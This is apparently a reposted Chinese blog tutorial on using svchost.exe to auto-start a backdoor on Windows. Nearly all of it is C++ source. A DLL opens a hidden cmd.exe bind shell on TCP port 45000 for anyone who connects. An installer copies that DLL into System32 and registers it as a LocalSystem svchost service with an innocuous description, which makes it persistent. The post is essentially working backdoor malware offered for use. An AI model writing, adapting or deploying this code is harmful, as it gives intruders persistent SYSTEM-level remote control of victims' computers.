安全之路 —— 利用SVCHost.exe系统服务实现后门自启动
简介
在Windows系统中有一个系统服务控制器,叫做SVCHost.exe,它可以用来管理系统的多组服务。它与普通的服务控制不同的是它采用dll导出的ServiceMain主函数实现服务运行,详细原理可参照Blog:SVCHOST启动服务实战。我们在使用此方法时,要有两个步骤:
1. 编写dll文件封装ServiceMain导出函数
2. 编写负责服务安装与移除的exe文件
3. 本例中需要将.exe与.dll文件放置在同一个文件夹下运行,.exe文件会将dll复制进系统目录。
C++代码样例
DLL程序代码:
/////////////////////////////////////////// FileName : sysWork.cpp// Creator : PeterZ1997// Date : 2018-5-8 22:07// Comment : Dll of ServiceMain Function/////////////////////////////////////////#include #include #include #include #include #include #include #include #include using namespace std;#pragma comment(lib, "ws2_32.lib")SERVICE_STATUS g_ServiceStatus;SERVICE_STATUS_HANDLE g_hServiceStatus;const unsigned int MAX_COUNT = 255; /// String Max Lengthconst DWORD PORT = 45000; /// Listen Portconst unsigned int LINK_COUNT = 30; /// Max Link Number/** * @brief CallBack Function to Translate Service Control Code * @paramvoid WINAPI ServiceControl(DWORD dwCode){ switch (dwCode) { //服务暂停 case SERVICE_CONTROL_PAUSE: g_ServiceStatus.dwCurrentState = SERVICE_PAUSED; break; //服务继续 case SERVICE_CONTROL_CONTINUE: g_ServiceStatus.dwCurrentState = SERVICE_RUNNING; break; //服务停止 case SERVICE_CONTROL_STOP: g_ServiceStatus.dwCurrentState = SERVICE_STOPPED; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwCheckPoint = 0; g_ServiceStatus.dwWaitHint = 0; break; case SERVICE_CONTROL_INTERROGATE: break; default: break; } //设置服务状态 if (SetServiceStatus(g_hServiceStatus, &g_ServiceStatus) == 0) { printf("Set Service Status Error\n"); } return;}/** * @brief Start Remote Shell * @paramDWORD WINAPI StartShell(LPVOID lpParam){ STARTUPINFO si; PROCESS_INFORMATION pi; CHAR cmdline[MAX_COUNT] = { 0 }; GetStartupInfo(&si); si.cb = sizeof(STARTUPINFO); si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)lpParam; si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.wShowWindow = SW_HIDE; GetSystemDirectory(cmdline, sizeof(cmdline)); strcat_s(cmdline, sizeof(cmdline), "\\cmd.exe"); while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi)) { Sleep(100); } WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return 0;}/** * @brief Service Running Function * @paramDWORD WINAPI RunService(LPVOID lpParam){ CHAR wMessage[MAX_COUNT] = "<================= Welcome to Back Door >_< ==================>\n"; SOCKET sClient[30]; DWORD dwThreadId[30]; HANDLE hThread[30]; WSADATA wsd; if (WSAStartup(0x0202, &wsd)) { printf("WSAStartup Process Error\n"); return 0; } SOCKET sListen = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = htons(PORT); sin.sin_addr.S_un.S_addr = INADDR_ANY; if (bind(sListen, (LPSOCKADDR)&sin, sizeof(sin))) return 0; if (listen(sListen, LINK_COUNT)) return 0; for (int i = 0; i < LINK_COUNT; i++) { sClient[i] = accept(sListen, NULL, NULL); hThread[i] = CreateThread(NULL, 0, StartShell, (LPVOID)sClient[i], 0, &dwThreadId[i]); send(sClient[i], wMessage, strlen(wMessage), 0); } WaitForMultipleObjects(LINK_COUNT, hThread, TRUE, INFINITE); return 0;}/** * @briefextern"C" __declspec(dllexport) void __stdcall ServiceMain(DWORD dwArgc, LPTSTR *lpArgv){ HANDLE hThread; g_ServiceStatus.dwCheckPoint = 0; g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_STOP; g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING; g_ServiceStatus.dwServiceSpecificExitCode = 0; g_ServiceStatus.dwServiceType = SERVICE_WIN32; g_ServiceStatus.dwWaitHint = 0; g_ServiceStatus.dwWin32ExitCode = 0; g_hServiceStatus = RegisterServiceCtrlHandler("BackDoor", ServiceControl); if (!g_hServiceStatus) { printf("Register Service Error\n"); return; } g_ServiceStatus.dwCurrentState = SERVICE_RUNNING; g_ServiceStatus.dwCheckPoint = 0; g_ServiceStatus.dwWaitHint = 0; if (!SetServiceStatus(g_hServiceStatus, &g_ServiceStatus)) { printf("Set ServiceStatus Error !\n"); return; } hThread = CreateThread(NULL, 0, RunService, NULL, 0, NULL); if (!hThread) { printf("Create Thread Error\n"); } return;}/** * @briefBOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) { case DLL_PROCESS_DETACH: { ServiceControl(SERVICE_CONTROL_STOP); break; } default: break; } return
2 . EXE程序代码:
////////////////////////////////////////////////// FileName : SVCHostDemo.cpp// Creator : PeterZ1997// Date : 2018-5-8 01:17// Comment : use SVCHost.exe to achieve software auto-run////////////////////////////////////////////////#include #include #include #include #include "strsafe.h"#include #include #include #pragma comment(lib, "shlwapi.lib")using namespace std;const unsigned int MAX_COUNT = 255; //字符串长度CHAR szRegInfo[MAX_COUNT] = "\0"; //注册表信息缓冲区SC_HANDLE g_hServiceHandle; //服务实例句柄SERVICE_STATUS g_ssServiceStatus; //服务状态结构体SERVICE_STATUS_HANDLE g_ssServiceHandle; //服务状态句柄/** * @brief 封装REG_MULTI_SZ型注册表操作 * @param hroot root key * @param szSubKey sub key after the root key * @param szValueName key name * @param szData key Data * @paramBOOL setSZMultiStringValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, LPSTR szValue, DWORD cp){ HKEY hKey; long lRet; if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false; if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_MULTI_SZ, (BYTE*)szValue, cp)) return false; RegCloseKey(hKey); RegCloseKey(hRoot); return true;}/** * @brief 封装REG_SZ型注册表操作 * @param hRoot root key * @param szSubKey sub key after the root key * @param szValueName key name * @paramBOOL setSZStringValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, LPCSTR szValue){ HKEY hKey; long lRet; if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false; if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_SZ, (BYTE*)szValue, strlen(szValue))) return false; RegCloseKey(hKey); RegCloseKey(hRoot); return true;}/*** @brief 封装REG_EXPAND_SZ型注册表操作* @param hRoot root key* @param szSubKey sub key after the root key* @param szValueName key name* @paramBOOL setExpandSZStringValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, LPCSTR szValue){ HKEY hKey; long lRet; if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false; if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_EXPAND_SZ, (BYTE*)szValue, strlen(szValue))) return false; RegCloseKey(hKey); RegCloseKey(hRoot); return true;}/** * @brief 封装DWORD型注册表操作 * @param hRoot root key * @param szSubKey sub key after the root key * @param szValueName key name * @paramBOOL setDWORDValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, DWORD szValue){ HKEY hKey; long lRet; if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false; if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_DWORD, (BYTE*)&szValue, sizeof(DWORD))) return false; RegCloseKey(hKey); RegCloseKey(hRoot); return true;}/** * @brief get Registry Value Info(REG_MULTI_SZ) * @param hRoot root key * @param szSubKey sub key after the root key * @paramBOOL getRegInfo(HKEY hRoot, LPCTSTR szSubKey, LPCTSTR szValueName){ HKEY hKey; DWORD dwType = REG_MULTI_SZ; DWORD dwLenData = strlen(szRegInfo); LONG lRes = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL); if (lRes != ERROR_SUCCESS) { RegCloseKey(hKey); RegCloseKey(hRoot); return false; } RegQueryValueEx(hKey, szValueName, 0, &dwType, NULL, &dwLenData); lRes = RegQueryValueEx(hKey, szValueName, 0, &dwType, (LPBYTE)szRegInfo, &dwLenData); if (lRes != ERROR_SUCCESS) { RegCloseKey(hKey); RegCloseKey(hRoot); return false; } RegCloseKey(hKey); RegCloseKey(hRoot); return true;}/** * @brief CallBack Function to Translate Service Control Code * @paramvoid WINAPI ServiceControl(DWORD dwCode){ switch (dwCode) { case SERVICE_CONTROL_PAUSE: g_ssServiceStatus.dwCurrentState = SERVICE_PAUSED; break; case SERVICE_CONTROL_CONTINUE: g_ssServiceStatus.dwCurrentState = SERVICE_RUNNING; break; case SERVICE_CONTROL_STOP: g_ssServiceStatus.dwCurrentState = SERVICE_STOPPED; g_ssServiceStatus.dwWin32ExitCode = 0; g_ssServiceStatus.dwCheckPoint = 0; g_ssServiceStatus.dwWaitHint = 0; break; case SERVICE_CONTROL_INTERROGATE: break; default: break; } if (SetServiceStatus(g_ssServiceHandle, &g_ssServiceStatus) == 0) { printf("Set Service Status Error\n"); } return;}/** * @briefBOOL InstallService(){ CHAR szSysPath[MAX_COUNT] = "\0"; CHAR szRegGroup[MAX_COUNT][MAX_COUNT] = { "\0" }; CHAR* szTargetString = (CHAR*)malloc(MAX_COUNT * 8); memset(szTargetString, 0, sizeof(szTargetString)); register int count = 0; register int cp = 0; GetSystemDirectory(szSysPath, sizeof(szSysPath)); StringCchCat(szSysPath, sizeof(szSysPath), "\\sysWork.dll"); CopyFile("sysWork.dll", szSysPath, true); setSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "Description", "System Test Server"); setSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "DisplayName", "NewService"); setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "ErrorControl", 0x00000001); setExpandSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "ImagePath", "%systemRoot%\\system32\\svchost.exe -k netsvcs"); setSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "ObjectName", "LocalSystem"); setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "Start", 0x00000002); setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "Type", 0x00000010); setExpandSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService\\Parameters", "ServiceDll", szSysPath); getRegInfo(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs"); register LPSTR p = LPSTR(szRegInfo); for (; *p; p += strlen(p) + 1, count++) { StringCchCopy(szRegGroup[count], sizeof(szRegGroup[count]), p); } StringCchCopy(szRegGroup[count], sizeof(szRegGroup), "NewService"); p = LPSTR(szTargetString); for (int i = 0; i <= count; i++) { strcpy_s(p, strlen(szRegGroup[i]) + 1, szRegGroup[i]); p += strlen(szRegGroup[i]) + 1; cp += strlen(szRegGroup[i]) + 1; } setSZMultiStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs", szTargetString, cp); return true;}/** * @briefBOOL RemoveService(){ SC_HANDLE hscManager; CHAR szRegGroup[MAX_COUNT][MAX_COUNT] = { "\0" }; CHAR* szTargetString = (CHAR*)malloc(MAX_COUNT * 8); memset(szTargetString, 0, sizeof(szTargetString)); register int count = 0; register int cp = 0; CHAR szSysPath[MAX_COUNT] = "\0"; GetSystemDirectory(szSysPath, sizeof(szSysPath)); StringCchCat(szSysPath, sizeof(szSysPath), "\\sysWork.dll"); hscManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (!hscManager) { printf("Open Service Manager Error\n"); return false; } printf("Open Service Manager Success\n"); g_hServiceHandle = OpenService(hscManager, "NewService", SERVICE_ALL_ACCESS); if (!g_hServiceHandle) { printf("Open Service Error\n"); return false; } printf("Open Service Success\n"); if (QueryServiceStatus(g_hServiceHandle, &g_ssServiceStatus)) { if (g_ssServiceStatus.dwCurrentState == SERVICE_RUNNING) { ControlService(g_hServiceHandle, SERVICE_CONTROL_STOP, &g_ssServiceStatus); } } else { printf("Service Status Get Error\n"); CloseServiceHandle(g_hServiceHandle); CloseServiceHandle(hscManager); return false; } if (!DeleteService(g_hServiceHandle)) { printf("Delete Service Error\n"); CloseServiceHandle(g_hServiceHandle); CloseServiceHandle(hscManager); return false; } if (SHDeleteKey(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService")) { printf("Delete RegKey Error\n"); CloseServiceHandle(g_hServiceHandle); CloseServiceHandle(hscManager); return false; } memset(szRegInfo, 0, sizeof(szRegInfo)); getRegInfo(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs"); register LPSTR p = LPSTR(szRegInfo); for (; *p; p += strlen(p) + 1) { if (!strcmp(p, "NewService")) { continue; } StringCchCopy(szRegGroup[count], sizeof(szRegGroup[count]), p); count++; } p = LPSTR(szTargetString); for (int i = 0; i <= count; i++) { strcpy_s(p, strlen(szRegGroup[i]) + 1, szRegGroup[i]); p += strlen(szRegGroup[i]) + 1; cp += strlen(szRegGroup[i]) + 1; } setSZMultiStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs", szTargetString, cp); printf("Remove Service Success\n"); DeleteFile(szSysPath); CloseServiceHandle(g_hServiceHandle); CloseServiceHandle(hscManager); return true;}/** * @briefint main(int argc, char* argv[]){ if (argc == 2) { if (!stricmp(argv[1], "--install")) { if (!InstallService()) { printf("[!]Service Operation Error\n"); } else { printf("[*]Service Operation Success\n"); } } else if (!stricmp(argv[1], "--remove")) { if (!RemoveService()) { printf("[!]Service Operation Error\n"); } else { printf("[*]Service Operation Success\n"); } } else { printf("[Usage] => *.exe [--install]/[--remove]\n"); } } else { printf("[Usage] => *.exe [--install]/[--remove]\n"); } return 0;}
版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。
暂时没有评论,来抢沙发吧~